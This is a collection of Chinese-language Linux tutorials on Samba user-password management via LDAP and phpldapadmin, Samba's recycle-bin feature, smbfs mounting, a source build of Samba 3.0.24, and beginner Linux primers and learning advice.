到此为止,使用ldap目录服务器进行Samba用户验证已配置完成。但现在还是要管理员在samba服务器上使用smbpasswd命令为用户维护密码。从维护工作量和保密的角度出发,由用户自已维护自已的密码是一种最好的方法。我们借助phpldapadmin这个工具可帮我们实现该功能。具体设置方法是这样的:

首先,在设置前,需先把phpldapadmin安装好,具体的安装步骤请参考我网站上的openldap学习笔记。安装好phpldapadmin后,我们已可正常使用该工具维护目录项了。同时,通过目录服务器的权限管理,我们也可把test用户密码属性设置成只有dn是cn=test,dc=samba,dc=it,dc=com的用户和目录服务器管理员才能修改。要达到该项果,请把以下ACL加入到slapd.conf中。

access to attrs=sambaLMPassword
by dn="cn=admin,dc=com" write
by anonymous auth
by self write
by * none

access to attrs=sambaNTPassword
by dn="cn=admin,dc=com" write
by anonymous auth
by self write
by * none

重启openldap服务器使配置生效。

要修改samba用户的密码,我们只要修改smbaLMPassword和sambaNTPassword两个属性值即可,但会出错,提示修改失败,要我们去修改phpldapadmin的template_config.php文件。这是因为phpldapadmin使用了一个叫mkntpwd的程序来生成samba的加密密码。在template_config.php文件中设置了mkntpwd程序的执行路径。mkntpwd程序默认是没有安装在系统中的,我们需安装它,并把它放到在template_config.php文件里指定的执行位置(/usr/bin/)。mkntpwd的源码包含在samba的源码中,我们可进入samba的源码目下的examples/LDAP/smbldap-tools/mkntpwd目录,mkntpwd的源码全部在这里了,运行make命令,就可生成mkntpwd程序。最后把mkntpwd拷贝到/usr/bin目录下即可。

如果是debian系统,template_config.php文件就位于/etc/phpldapadmin/templates目录下。节选有关定义mkntpwd程序路径的内容如下:

...
## SAMBA TEMPLATE CONFIGURATION ##
## ---------------------------- ##
## ##
## In order to use the samba templates, you might edit the following properties: ##
## 1 - $mkntpwdCommand : the path to the mkntpwd utility provided with/by Samba. ##
## 2 - $samba3_domains : the domain name and the domain sid. ##
## ##
######################################################################################*/

// path 2 the mkntpwd utility (Customize)
$mkntpwdCommand = "/usr/bin/mkntpwd";
...

以cn=test,dc=samba,dc=it,dc=com登录进入ldap服务器,我们就可修改smbaLMPassword和sambaNTP\assword两个属性值了。其它用户的这两个属性test用户是看不到的。

其实,不使用phpldapadmin来维护samba用户密码也可以,我们完全可以用python-ldap配合mkntpwd程序自已DIY一个用户密码管理程序。

2.3. 回收站功能
samba也有回收站功能,它能把你在samba服务器中删除的文件移到回收站中,而不是真正的从磁盘删除掉。这大大提高了数据的安全性,更人性化一些。下面介绍如何设置。

[homes]
comment = Home Directories
browseable = no

# By default, the home directories are exported read-only. Change next
# parameter to 'yes' if you want to be able to write to them.
writable = yes

# File creation mask is set to 0700 for security reasons. If you want to
# create files with group=rw permissions, set next parameter to 0775.
create mask = 0700

# Directory creation mask is set to 0700 for security reasons. If you want to
# create dirs. with group=rw permissions, set next parameter to 0775.
directory mask = 0700

vfs object = recycle #启用回收站功能
recycle:keeptree = yes #保持目录的树状结构
recycle:versions = yes #相同文档名时,有不同版本
recycle:repository = ../recycle/%u #回收站的位置,每个用户都有一个目录

recycle目录的访问权限是所有用户可写,自动生成的recycle/%u目录的访问权限是只能由用户可写。

Chapter 3. 小技巧
使用tdbdump程序可以查看samba的tbd格式文件。

使用smbclient -L winserver -d 3可显示连接winserver时的Debug信息,这些信息对于跟踪连接过程和故障处理都很有用。-d是开启debug功能的选项,3代表debug的级别,可选值为0到10,数字越大显示的信息越详细。

连接中文机器名时要注意两边系统的字符集要相同,如果不同,要用unix charset和doc charset指定两边的字符集。如果两边系统的字符集不对称,则在连接时会出现以下的出错信息。

session request to failed (Called name not present)
session request to *SMBSERVER failed (Called name not present)

samba通过Windows的139和445端口进行通信,samba会先通过445端口进行连接,如果连接失败,则再尝试139端口。在NT中,SMB运行于NBT(NetBIOS over TCP/IP)上,使用137,139(UDP),139(TCP)端口。在2000/XP/2003中,SMB可以直接运行在tcp/ip上,而没有额外的NBT层,使用TCP 445端口。

手动加载smbfs文件系统的方法:

debian:#~ mount -t smbfs -o username=your_username,password=your_password,iocharset=utf8,codepage=cp936 //servername/sharename /mnt/share

我的Debian采用UTF8编码,Samba服务器的操作系统采用GB2312编码,使用iocharset=utf8和codepage=cp936选项是为了使加载的共享能正常显示中文,iocharset指定客户端的字符集,codepage指定服务器的代码页。

注意,由于该命令包含访问文件服务器的用户名和密码,为保密起见,该命令尽量不要在命令行中输入,因为bash有一个命令缓存功能,能记录你所输入的所有shell命令。我们应该采用credentials选项代替username和password选项,如下所示:

debian:#~ mount -t smbfs -o credentials=/root/smbpassword,iocharset=utf8,codepage=cp936 //servername/sharename /mnt/share

credentials=/root/smbpassword选项指定登录samba服务器的密码文件,smbpassword文件的格式如下:

username=xxxxxx
password=xxxxxx

由于在smbpassword密码文件中的密码是明文的,所以我们要设置好访问权限,只能由合法用户来读取。

我们也可把加载smbfs文件系统的方法写在fstab文件中,使它能够在系统启动时自动加载,下面是我的fstab文件,自动加载了/root/data和/root/books目录。

# /etc/fstab: static file system information.
#
#
/dev/hda3 / ext3 errors=remount-ro 0 1
/dev/hda2 none swap sw 0 0
proc /proc proc defaults 0 0
/dev/fd0 /floppy auto user,noauto 0 0
/dev/cdrom /cdrom iso9660 ro,user,noauto 0 0
//samba/data /root/data smbfs credentials=/root/smbpassword,iocharset=utf8,codepage=cp936 0 0
//samba/books /root/books smbfs credentials=/root/smbpassword,iocharset=utf8,codepage=cp936 0 0

坎坷的samba-3源码安装一:编译安装

系统是redhat9 2.4.20-8,系统自带装了samba-2.2.7a-7.9.0
下载samba最新版,文件名samba-3.0.24.tar.gz
1、解压、编译、安装
#tar xzvf samba-3.0.24.tar.gz
#cd samba-3.0.24/source
#./configure;make;make install
;没用路径参数,因为默认是/usr/local/samba
2、安装smb.conf
#cp ./samba-3.0.24/examples/smd.conf /usr/local/samba/lib
;安装目录下有很多smd.conf的例子,但/usr/local/samba/lib下却没有,所以必须copy.
#/usr/local/samba/bin/testparm
;检查smb.conf配置语法是否错误和设置是否成功(默认的smb.conf,不会有问题:)
3、配置smb.conf
#vi smb.conf
有两个地方非改不可
workgroup=mygroup(我的windows机子的工作组名,有三台win机,都是"workgroup" 工作组)
增加:unix charset=cp936
dos charset=cp936
display charset=cp936
; 这三条设置的目的是在win机上使用“网络邻居“共享到linux上的文件夹和文件时,显示汉字。
4、增加smb用户
一般linux机子上都有很多用户,比如有一个用户名是rocky,那么:/usr/local/samba/bin/smbpasswd -a rocky,就把rocky增加为smb用户了。
5、启动smb服务
#service iptables stop
#service network restart
#/usr/local/samba/sbin/smbd -D
#/usr/local/samba/sbin/nmbd -D
启动完成,然后到win机上,打开网络邻居,就可以看到linux机子。输入“rocky"和密码,就可以看到linux机子上/home/rocky的文件夹内容了。

最后一步,需要做的就是把smb服务设为开机启动。
vi /etc/rc.d/rc.local,加入/usr/local/samba/sbin/smbd -D
;/usr/local/samba/sbin/nmbd -D 就可以了。
如果启动后修改了smb.conf,重复第5条操作就可以了,不用重启。

安装并不复杂,但还是走了弯路。网上很多此类文章,有四点迷惑人:
一是如果系统里已经有samba旧版本的时候(用rpm -qagrep smaba)由源码安装的samba3.0.24无法启动,所以最好是把旧的卸载掉先(用rpm -evv samba.x.x.x).
一是显示汉字问题。很多文章的设置都是基于samba2.x的,与3.0不同。
二是相关文件存放的路径,如smb.conf,有些说在/etc/下,有的在/usr/sabma下。这一点,其实只要认真看看安装文档就解决了。
三是启动问题,大部分都提到可以/etc/rc.d/init.d/smb start,我看/etc/rc.d/init.d下并没有smb脚本,估计要自己写一个请参考坎坷的samba-3源码安装二:smb 脚本,但把启动放在/erc/rc.d/rc.local我觉得也很方便。
另外,samba安装目录下有一个docs子目录,有一个samba-howto.pdf文档,非常详尽,汉字显示的解决就是看了这个才解决的。
samba有很多详细设置,我刚安装,很多内容有待今后去实践。

linux扫盲+速成

1、什么是Linux?

  准确的说,是指Linux的kernel(系统的核心程序),其内核版权属于Linus Torvalds,在GPL(GNU General Public License)版权协议下发行, 任何人都可以自由的复制(copy), 修改(change), 套装分发(distribute),销售,但是不可以在分发时加入任何限制, 而且所有原码必须是公开的,所以任何人都可以无偿取得所有执行文件和原代码。

  对于Linux用户和系统管理员来说,Linux是指包含Linux kernel、utilities (系统工具程序)以及application (应用软件)的一个完整的操作系统。Linux的应用软件是由自由软件基金会(FSF)开发的,全世界许多热心的程序员为Linux开发或移植了很多应用程序,包括X-Windows、Emacs、TCP/IP网络(包括SLIP/PPP/ISDN)等等,现在Linux(包括内核和大量的应用程序)光是执行程序就已经达到200M,完全安装后的规模将更大(大约500M左右)。

  从本质上讲,Linux是Unix的”克隆”或Unix风格的操作系统,在原代码级上兼容绝大部分的Unix标准(如IEEE POSIX,System V,BSD),它遵从 POSIX规范,例如对于System V来说,把其上程序源代码拿到 Linux下重新编译后就可以运行,而对于BSD Unix来说,它的可执行文件可以直接在Linux环境下运行。

  Linux的标志是可爱的企鹅,至于为什么选用企鹅,Linus是这样说的:别的都被他人用了,企鹅,不是也非常可爱吗?!由Linux作者发布的仅仅是一个内核而己,有一些公司或组织把内核、原代码及相关的应用程序组织在一起发行, 于是就产生了不同的Linux发行(distributor)版本, 比较著名的发行版本有RedHat、SlackWare 、S.u.S.e、Debian 等。

 2、Linux的发展历史?

  Linux的历史可以追溯到1990年,Linus Torvalds还是芬兰赫尔辛基大学的一名学生,最初用汇编语言写了一个在80386保护模式下处理多任务切换的程序,后来从Minix(用于操作系统教学、很小的Unix)中得到灵感,发誓要写一个比Minix更好的Minix,于是开始写了一些硬件的设备驱动程序、一个小的文件系统......,这样0.0.1版本的Linux就出来了,但是它必须在有Minix的机器上编译以后才能玩,这时候的Linus已经完全“走火入魔”了,决定踢开Minix“闹革命”,于是在1991年10月5号发布了Linux 0.0.2版本,这个版本已经可以运行bash(一种用户与操作系统内核通讯的软件)和gcc(GNU C编译器)了。

  Linus从一开始,就决定自由扩散Linux、包括源代码,他把源代码发布在网上,随即就引起爱好者的注意,他们通过互连网也加入了Linux的内核开发工作,一大批高水平程序员的加入,使得Linux达到迅猛发展,到1993年底,Linux 1.0终于诞生。Linux 1.0已经是一个功能完备的操作系统了,其内核写得紧凑高效,可以充分发挥硬件的性能,在4M内存的80386机器上也表现得非常好。

  很多人对Linux的认识有个误区,即总把Linux与低档硬件平台联系到一起,其实从2.1.xx系列内核开始,Linux就开始走高端的路子了,大约在1.3版本之后,开始向其他硬件平台上移植,包括号称最快的CPU---Digital Alpha(目前主频是最高的),目前Linux能将硬件的性能充分发挥出来,可以囊括低端到高端的所有应用。

  Linux加入GNU并遵循公共版权许可证(GPL),由于不排斥商家对自由软件进一步开发,不排斥在Linux上开发商业软件,故而使Linux又开始了一次飞跃,出现了很多的Linux发行版,如Slackware、Redhat、Suse、TurboLinux、OpenLinux等十多种,而且还在增加,还有一些公司在Linux上开发商业软件或把其他Unix平台的软件移植到Linux上来,如今很多IT界的大腕如IBM、Intel、Oracle、Infomix、Sysbase、Corel、Netscape、CA、Novell等都宣布支持Linux! 商家的加盟弥补了纯自由软件的不足和发展障碍,Linux得以迅速普及。


1、如何快速掌握Linux?

  方法是多动手、动脑,学习时要经常与Windows进行对比。建议你先安装RedHat Linux,然后练习如何配置它,如何使用Linux命令,如何在X—WINDOWS下操作,如何在Linux下安装应用软件,如何在Linux下上网、编辑文档、播放多媒体文件、玩游戏等。

  快速上手的方法只有一个,那就是多动手操作,看看你能否完成上面的工作。

2、Linux与Windows有哪些异同点?

  Windows是图形界面的,Linux类似以前的DOS,是文本界面的,如果你运行了图形界面程序X-WINDOWS后,Linux也能显示图形界面,也有开始菜单、桌面、图标等。

  Windows有MS-DOS方式,在该方式下通过输入DOS命令来操作电脑;而Linux与Windows类似,也有命令方式,Linux启动后如果不执行X-WINDOWS,就会处于命令方式下,必须发命令才能操作电脑。另外Linux上也有很多的应用软件,安装运行了这些软件后,你就可以在Linux上编辑文档、图片,玩游戏、上网、播放多媒体文件等。

  不过Linux的分区格式和目录结构,与Windows迥然不同,应用软件的安装方式也不同。

3、安装Linux时的注意事项

  安装前确定好Linux安装在哪个分区,Linux也有系统分区和Swap分区(类似Windows的虚拟分区,即交换文件)两个分区。由于Linux支持的分区格式与Windows分区格式不同,所以如果安装了Linux后,Windows还能继续使用,Linux就应该安装在硬盘分区的最后一个扩展分区;其次Linux的Swap分区必须保证有60MB,系统分区最少要保证240MB;此外安装前搜集好PC硬件方面的信息,特别是显示器信息,这将直接决定你安装Linux后,使用图形界面程序的效果;在安装、使用中输入命令时,请注意大小写。

4、掌握Linux的目录结构

  Linux的目录结构与Windows不同,而且在Windows下看不到Linux的目录,反过来,Linux也看不到Windows下的目录。Linux下各目录的含义如下:

目录名称 意 义
/vmlinuz 该目录中存放的是系统内核
/bin 该目录中存放Linux的常用命令,在有的版本中是一些和根目录下相同的目录。
/boot 该目录下存放的都是系统启动时要用到的程序,当用lilo引导Linux时,会用到这里的一些信息
/dev 该目录包含了Linux系统中使用的所有外部设备,它实际上是访问这些外部设备的端口,你可以访问这些外部设备,与访问一个文件或一个目录没有区别。例如在系统中键入“cd /dev/cdrom”,就可以看到光驱中的文件;键入“cd /dev/mouse”即可看鼠标的相关文件。
/cdrom 该目录在刚安装系统时是空的,你可以将光驱文件系统挂在这个目录下, 例如“mount /dev/cdrom /cdrom”
/etc
该目录存放了系统管理时要用到的各种配置文件和子目录,例如网络配置文件、文件系统、X系统配置文件、设备配置信息、设置用户信息等。
/sbin 该目录用来存放系统管理员的系统管理程序。
/home 如果建立一个名为“xx”的用户,那么在/home目录下就有一个对应的“/home/xx”路径,用来存放该用户的主目录。
/lib 该目录用来存放系统动态连接共享库,几乎所有的应用程序都会用到该目录下的共享库
/lost+found 该目录在大多数情况下都是空的。但当突然停电、或者非正常关机后,有些文件就临时存放在这里。
/mnt 该目录在一般情况下也是空的,你可以临时将别的文件系统挂在该目录下。
/proc 可以在该目录下获取系统信息,这些信息是在内存中由系统自己产生的
/root 如果你是以超级用户的身份登录的,这个就是超级用户的主目录
/tmp 用来存放不同程序执行时产生的临时文件
/usr 用户的很多应用程序和文件都存放在该目录下

5、Linux的常用命令

  如果在Linux命令行模式下遇到不会用的命令,你可以打"man [command]"得到该命令的帮助,如果想知道一个命令有哪些参数,可以打command -help来得到。

  注意:linux中的参数输入形式和dos不一样,在命令后面应该打一个空格,然后打"-",最后再跟一个或多个参数;另外linux下大小写是有区别的!

  下面介绍几个linux下最常用的命令,每个命令都与对应的dos命令作比较,并列出一些常用的参数。

命令参数 意 义
Ls
-a列出系统中的隐含文件,linux下的隐含文件是靠文件名的格式来表示的,不同于dos是靠文件属性来表示,即只要该文件以“.”开头,那么它就是隐含文件。
-l以长式列出。就是把该文件或目录的所有信息都列出来,一个文件占一行
相当于dos下的dir命令,是列文件列表的命令。
cd 和dos下的cd一样,转换目录的命令。 注意:linux下转到上级目录要打"cd .."而不是dos下的"cd..",即"cd"后面要有个空格
pwd 列出当前目录命令,相当于dos下没有参数的cd命令。例如:
[root@ttqq bin]# pwd /usr/bin [root@ttqq bin]# 这表示目前在"/usr/bin"目录下。
Mkdir
-m mode表示建立目录时默认的目录模式。这个是dos和Windows所没有的功能,主要是关于权限的问题。
建立新目录,相当于dos的md命令。一般就用 mkdir [dirname]
rmdir 删除目录,相当于dos的rd命令。
用法:rmdir [dirname]
cat 在文件后面追加文件,或在屏幕上打印文件内容,追加功能相当于dos的copy file1+file2,而在屏幕上打印文件内容可以和dos的typeml来类比。如果文件太大,在一屏上无法完全显示,则可用more命令
more 分屏显示文件内容,和dos下的more命令大致相同,但它可以和别的命令搭配使用。如:cat /home/eec/myfile | more。
cp

-r相当于dos的xcopy/s。用于拷贝一个目录下的所有子目录和文件 拷贝文件,相当于dos下的copy,使用方法与dos下的copy一样。

=======================================

系统安装: Linux快速入门

不少初学者都觉得Linux操作系统难用,现特将Linux中的基本操作与DOS操作系统中相似的操作对照比较如下,以让大家尽快入门


[一、基础知识]
1、[系统安装]
Linux的安装时,使用Tab、箭头、空格、回车等键做出选择。Linux一般须安装在单独的分区下,为避免Windows系统中的注册表、快捷方式路径出错,最好安装在硬盘的最后一个分区。即将最后的一个分区删除后,用分区软件(建议用Pqmagic)分为Linux Native(根分区)和Linux Swap(数据交换区),如果您的硬盘大于8G,您的Linux root分区应安装在前8G之内(linux 根分区终止扇区 <1023 柱面)。Native分区一般要大于240MB,具体大小视安装的Linux组件决定,建议不要大于2G。Swap分区必须有60MB以上。安装前要搜集好您的硬件信息如:CPU、内存、显示器、显卡、鼠标、键盘等。Linux的版本有很多,而且不断更新,根据提示安装一般都可顺利完成。

2、[登陆进入]
默认安装,启动后在出现的Lilo boot:之后输入Linux(或回车),Linux便开始启动,当出现登陆提示符Login:时,输入用户名,然后出现口令提示符password:输入口令。可进入相应的用户环境。如输入:root,及其密码,可进入超级用户环境#,输入其他用户名及口令,可进入该用户环境$(当然由于版本的不同还可能是%等)。

3、[关闭系统]
在超级用户提示符#下输入halt(立即关机)或shutdown [time](延迟time分后关机,给各用户每隔一段时间发出还有多长时间将关机的警告)后,计算机将进行一系列的关机工作,最后出现System halt时,表示可以关闭电源了。非超级用户则需用exit命令退出操作环境,再用超级用户:root登陆,才能执行关闭操作。

4、[注意事项]
与DOS不完全相同的地方:

  DOS Linux 备注
命令行字母 不区分大小写 区分大小写 在Linux中,超级用户的系统提示符是#,一般普通用户的系统提示符是$,普通用户的系统提示符也同DOS一样可以更改。通配符中*、?与DOS中的含义相同,[]是仅包括括号内的符号,连续的符号可用“-”连接首尾的符号代替,如[12345678]可以用[1-8]代替,[abcdefijk]可用[a-fi-k ]表示。
路径分隔符 /
提示符 > #、$
通配符 *、? *、?、[]

5、[文件类型]
与DOS、Windows不同,在Linux系统中,目录和设备都被视为文件,共有四种文件类型,它们是:⑴普通文件,即我们通常所说的文件,在长列目录方式时行首前用一符号“-”表示。⑵目录文件,即我们通常所说的目录,在长列目录方式时行用首前用一字母“d”表示。⑶字符设备文件,如显示器、打印机、终端等,在长列目录方式时行首前用一字母 “c”表示。⑷块设备文件,如硬盘、软盘、光盘在长列目录方式时行首前用一字母“b”表示。在Linux中用长格式列目录命令ls -l时,例如:

-rwxrw-r-- 5 user group 1089 Nov 18 1998 filename
存取权限 用户 组名 字节数 最后修改时间 文件名

DOS下的文件名是8.3格式的,Windows95以后开始支持长文件名,Linux支持长文件名。在DOS下扩展名是com、exe或bat的文件为可执行文件,但在Linux中文件类型只能通过文件属性得知,用命令ls –F可区分目录和文件,后有“/”符号的为目录,后有“*”符号的为可执行文件,用ls –aF可列出所有的文件和目录,包括隐藏的文件和目录,文件名以点号“.”开头的为隐藏文件。

6、[读取权限]
在Linux中,文件的主人称所有者,其他使用者分别称为同组者、其他人,为保证各用户文件的安全,Linux继承了UNIX的作法,通过设定存取权限,限制某些用户对文件的随意存取。共有三个级别的存取权:读权r、写权w、执行权x。在存取权中共有九个字符的位置其顺序是:所有者、同组人、其他人。在上例中分别表示:主人对文件拥有读写权和执行权,同组人对文件拥有读写权、其他人对文件只拥有读权。

7、[使用帮助]
在Linux中,您只要在命令行中打上man command(您要看帮助的命令),就可以得到该命令的在线帮助。man有一套它自己的命令,通常由单个键组成,按空格键和F键将翻到下一页,按B键翻到上一页,按Q键退出man,回到命令行。

[二、文件管理和目录操作]
1、[文件管理]

功能 DOS Linux 备注
显示文件内容 type、more cat、more type、cat是全部显示,more是分页显示
拷贝文件 copy cp
移动文件及改名 move mv
删除文件 del、erase rm
打印文件 print lpr

2、[目录操作]

功能 DOS Linux 备注
列目录及文件 dir/选项 ls –选项 在Linux中cd/是直接返回登录时的目录而不是根目录
显示当前目录 cd pwd
变更工作目录 cd目录 cd/目录
建立目录 md、mkdir mkdir
删除目录 rd、rmdir rmdir
目录更名 move mv
拷贝目录 xcopy copy

据说很多DOS命令都是借鉴UNIX的,而Linux又是从UNIX发展起来,故DOS和Linux命令的格式很相似,只是Linux的命令的功能更加强大,各选项、参数有较大区别,具体运用时可使用帮助命令。

[三、外存储器的使用]
在Linux中一般不能直接访问软盘、其他硬盘逻辑分区、光盘等,在Linux中它们都被视为文件,在使用前必须使用装载命令mount将它们装载到系统的/mnt目录中,使用结束后还须卸载。命令格式如下:

mount –t 文件系统类型 设备名 装载目录

常用的文件类型有:
msdos dos分区文件
vfat 支持长文件名的dos分区
ext2 Linux的文件系统
swap Linux swap分区或swap文件
iso9660 安装CD-ROM的文件系统
hpfs OS/2分区文件系统

设备名是指要装载的设备的名称,如软盘、硬盘、光盘等,软盘一般为/dev/fd0 fd1,硬盘一般为/dev/hda hdb ,硬盘逻辑分区一般为期hda1 hda2…等等,光盘一般为/dev/hdc。在装载前一般要在/dev/mnt目录下建立一个空的目录(名字自拟),如软盘可为floppy,硬盘分区可为其盘符如c、d等等,光盘可为cd-rom,个体使用例子:

装载一个mddos格式的软盘:mount –t msdos /dev/fd0 /mnt/floppy
装载一个Linux格式的软盘:mount –t ext2 /dev/fd0 /mnt/floppy
装载Windows98格式的硬盘分区(C盘):mount –t vfat /dev/hda1 /mnt/c
装载一个光盘:mount –t iso9660 /dev/hdc /mnt/cd-rom

装载完成后便可对该目录进行操作,在使用新的软盘及光盘前必须退出该目录,使用卸载命令umount卸载,才可以使用新的软盘及光盘,否则系统会不承认的,光盘在卸载前是不能用光驱面板前的弹出键退出的。

以上只是Linux基本的知识,不过相信您掌握后便已快速步入Linux了之门,进一步深入学习其他Linux知识了应该不成问题了。

基于Linux的学习方法

基于Linux的学习方法
2001-01-08 21:39:37· 魏星·CPCW
--------------------------------------------------------------------------------

关于我:

  我是一名普通的计算机软件人员,接受过普通的计算机科学教育,有6年工作经验,由于工作原因接触过的系统包括DOS、Windows、Windows NT、Digital UNIX、VMS、Linux、IRIX,在一个比较封闭但是比较安静的环境里自学使用Linux两年多的时间,使用过程中逐步系统了自己的计算机观点,清楚了许多在多年以前老师没有讲清楚或是自己没有想清楚的东西,同样也试着把自己的一点经验和同事们进行探讨,具备一定的Linux支持的经验,自我感觉学习Linux的过程给了我一笔非常宝贵的财富,是一个非常明智的决定。

目的:

  一直有一种想法,就是把自己的学习经验和别人进行探讨,让别人不要重复自己的错误,在学习和使用Linux的过程中少走弯路,以一种比较轻松的态度来对待Linux系统,并且我也希望能够为新手提供指路,希望有一天我们的大学生中也能够出现几个象Linus一样的程序员,实际上,中国有足够的人是应该能够做到这点的,对于国家有这样的程序设计人员或是振臂一呼应者如云的工程管理人员是一件幸事。

  GNU/Linux的学习实际上是一个不断实践的过程,根据自己的需要不断地选择系统中的软件根据其相关文档在系统中付诸实施的过程,制定一个自己满意的目标可能效果更好。参考的目标可能以学习为主更好,倘若你有一定的基础制定一个基于GNU/Linux系统解决方案也不错;参考的应用范围开始以作为服务器运行更好,而不是作为和Windows 95一样的作桌面系统,比较理想的环境就是有一台Windows95的机器作为客户端而把Linux作为服务器,我接触Linux很偶然完全是想看一看免费的UNIX的样子,学习Linux是的目标开始很简单,就是实现类似于Windows NT中的IIS的功能。

  我把GNU/Linux的学习分为以下三个部分,并根据自己的经验提出注意的事项。

  1、系统安装

  对于熟悉Windows环境的人来说GNU/Linux的安装是一个非常痛苦的过程,对于安装过程中遇到的问题足以让许多闻风而动的人放弃了GNU/Linux的使用。安装过程中比较典型的问题是硬件不支持,如声卡和显示卡,其中显示卡的问题一般是希望安装X-WINDOW环境而引起的,并且常常引起系统重启或安装失败。所以,我给大家的第一个提示就是可以考虑不安装X-WINDOW软件包; 其次如果你不是使用的Sound ast系列的声卡,可以考虑不安装声卡;如果你的网络卡不识别可以考虑更换一块廉价的NE2000兼容网络卡,保证网络的正常工作对于调试客户/服务器方式的应用程序是必须的,网络服务启动成功但不能正常访问多是由于缺省的路由(default route)没有指定为网卡的地址引起。由于现在的硬件制造商还没有普遍提供Linux下的驱动程序,所以希望提供象Windows环境一样的硬件兼容的确有些困难。另外,建议做好可能要数次格式化硬盘的准备,实际上当你使用Linux系统一段时间后,就会发现以前频繁格式化硬盘实际上是错误的。当然,由一个具有Linux使用经验的人进行指导安装是最好的选择。同样,有一本关于Linux系统指南的手册是入门时不错的参考,不过不用太厚的著作因为许多的著作涉及的软件介绍实际多是对软件文档的复制,最好的文档实际就在你的/usr/doc目录下,当然其文档主要是英文不过都不是太深奥,毕竟很多软件的作者并不是用英文作为母语,并且开始是可以从/usr/doc/HOWTO开始,如可读性极强的《DOS-TO-Linux HOWTO》《NET-3-HOWTO》等文档。在不熟悉UNIX命令的情况下,可以使用一个类似pctools的软件mc,通过他你可以完成许多的文件操作,如文件的浏览、编辑、删除等,当然熟悉UNIX的基本命令可能是开始时的主要工作,UNIX的命令有一个比较特殊的地方就是有太多的选择项,其实开始只要会它的基本功能就行。系统的安装和配置是一个不断积累经验的过程,急于求成可能效果不好,和Windows入门容易深造难刚好相反Linux是入门困难而深造容易。

  2、系统管理

  由于Linux是一个多用户多任务的操作系统,系统管理对于在Windows 95环境下的用户可能是一个陌生的事情,在熟悉了基本的文件操作命令之后就可以考虑进行系统管理,系统管理的工作主要分为用户管理、资源管理、软件安装、服务配置和网络。当你使用linuxconf进行系统管理时,你会发现他许多真正优秀的地方。系统管理是相通的,只要是多用户的系统都存在这样的问题,实现的方法也是大同小异,通过linuxconf进行管理实际是调用了许多的UNIX命令,就象mc一样。Linux的通常使用的命令一般放在/usr/sbin、/usr/bin、/sbin、/bin目录下,可以抽点时间看看到底他们都包含了些什么东西,并且使用man 看一下他该怎么使用。资源管理的一个特色是文件系统的限额功能,这是UNIX系统普遍具有的功能而在微软的Windows NT 4没有实现的功能。软件安装实际就是使用RPM软件或是直接使用tar,其中RPM包格式的软件更容易安装和使用。我对服务的理解是系统的驻留程序,要配置Linux的各种服务需要了解涉及的程序和多半在/etc目录下配置文件的作用,/etc目录和Windows的注册表文件类似,包含了系统启动和相关软件的配置信息,在集中管理方面应该说Windows做得更好,不过/etc的文件多半是文本文件,你可以使用编辑器打开他们,其中很多文件里包含了详细的配置帮助,配置服务的过程有时可能就是去掉它的注释符号,实际上Linux下的服务和商用UNIX提供的服务很相似。和在Windows环境相比,最好的是一般修改一个服务后不需要重新启动系统,而只是重新启动该服务。网络是Linux给我最多收获的部分,由于Linux是一个互联网上诞生的系统,支持完整的TCP/IP网络协议族,其网络应用软件非常丰富,并且很多网络应用软件都系出名门且广泛使用,如BIND、apache、wu-ftp、sendmail、telnetd、NFS、NIS等,并且有非常完备的文档和例子支持,通过配置其网络服务你可以深入了解TCP/IP协议,构造一个非常不错的内部网环境,相关的文章比较多,在此便不再赘述。同样,支持Linux的大型关系数据库也不少,目前各大数据库厂商(Oracle、Sybase、Informix)为了对抗微软的操作系统垄断,均将产品向Linux移植,主要的目的是为大家提供使用和学习的机会,他们对一般对产品的限制是不能应用于商业领域,同时支持Linux的免费数据库系统也不少如PostgreSQL、MySQL等,由于SQL数据库涉及数据的并发控制、安全管理、备份等问题,掌握它能够让你在管理员的角度思考你的数据共享的问题,并且SQL作为一个标准其通用性较强,所以把Linux作为一个数据库服务器平台是很理想的。同时,将数据库和Web服务器结合起来,利用PHP3或是其他的CGI工具便能够实现一个基于Web的数据库环境,并且是能够被你自由控制的环境。

  3、程序设计

  目前GNU/Linux系统是一个为程序员提供的操作系统和编程环境,因为其操作系统核心源代码和应用软件的源代码都是公开的,并且你可以根据你的爱好选择编程语言,你可以通过大量的应用软件源代码理解进程、线程、文件、设备、网络、RPC、IPC等原来比较抽象的概念。和Windows环境下的可视开发环境相比,Linux下的编程可能会困难一些,但是如果只是完成特定的服务端应用,就比较简单和高效,你开了集成环境可能需要的是多开几个虚拟控制台,方便对库函数的参考。由于应用软件主要是C语言程序,有C语言基础是比较好的,并且应用软件的注释都比较好,可以比较方便地修改。当然,用JAVA也比较好,可以充分享受其跨平台的优势,还有就是可以使用以前只是听过而没有用过的Ada、Lisp等语言。基于GNU/Linux的程序设计可以让你充分感受选择的自由,没有必要大家都去研究核心程序,毕竟计算机是工具,能够为具体应用服务才是计算机软件人员的职责,仅有系统核心也是不够的。不过,在Linux下编写驱动程序不是象想象的那么困难,原因主要是我们的设计者为我们提供了详细的指南,感受最深刻的是在/usr/src/linux/drivers/net/skeleton.c程序,它描述了网卡驱动程序的框架,并且相关的文档非常多如KHG等,相比Windows就更为开放和容易。我不是程序设计的高手,通过GNU/Linux的使用知道一些有用的方法,学会了欣赏别人的程序,如果让我做一个程序我的第一步可能就是找到相关的程序并查看他们的编程方法。同样,如果能够真正使用互联网,你可以发现更多的程序设计的参考。

  两年的实践给了我一种驾驭系统的轻松,因为我知道很多东西没有想象的那么难以接受,最重要的是"try again"。实际上,你能够真切地感受到各种系统是相通的,如同水是相通的一样;学习不应该是一种负担,而是根据自己的实际情况去解决实际的问题,兴趣是一种不可忽视的因素。我想象不出如果能够根据大学计算机专业的课程设置,同步提供Linux的实践,那么我们的大学生在毕业时会有怎样的技术水平?同样,我们的高校可能会有更多一些的可以为普通人接受的软件,而不是只是培养专家的科研成果,或是寥寥千套的获奖操作系统。没有理论的实践是盲目的,没有实践的理论是空洞的,而计算机软件是需要理论和实践紧密结合的。
1、不要“玩 Linux” 很多人用 Linux 的时候会感觉很迷茫,该用哪个发行呢?是不是我少装了什么?怎么升级这么快啊!怎么这么不稳定!每当遇到新的软件他就想试用,每当新的版本出现,他就更新,然后用鼠标在新的菜单里选择从来没见过的程序来用用。

其实你是为了Linux而使用Linux,而没有找到正确的理由来利用 Linux。你首先要明确用电脑的目的,你用它是为了解决你的实际问题,而不是为了学习安装操作系统,不是为了测试哪个版本好用,不是为了“赶上潮流”,更不是因为你硬盘太大了,你想多占点空间。

如果你启动了电脑之后不知道应该干什么,那么最好先不要用电脑,因为你可能有更重要的事情需要做。

2、不用挑剔发行版本

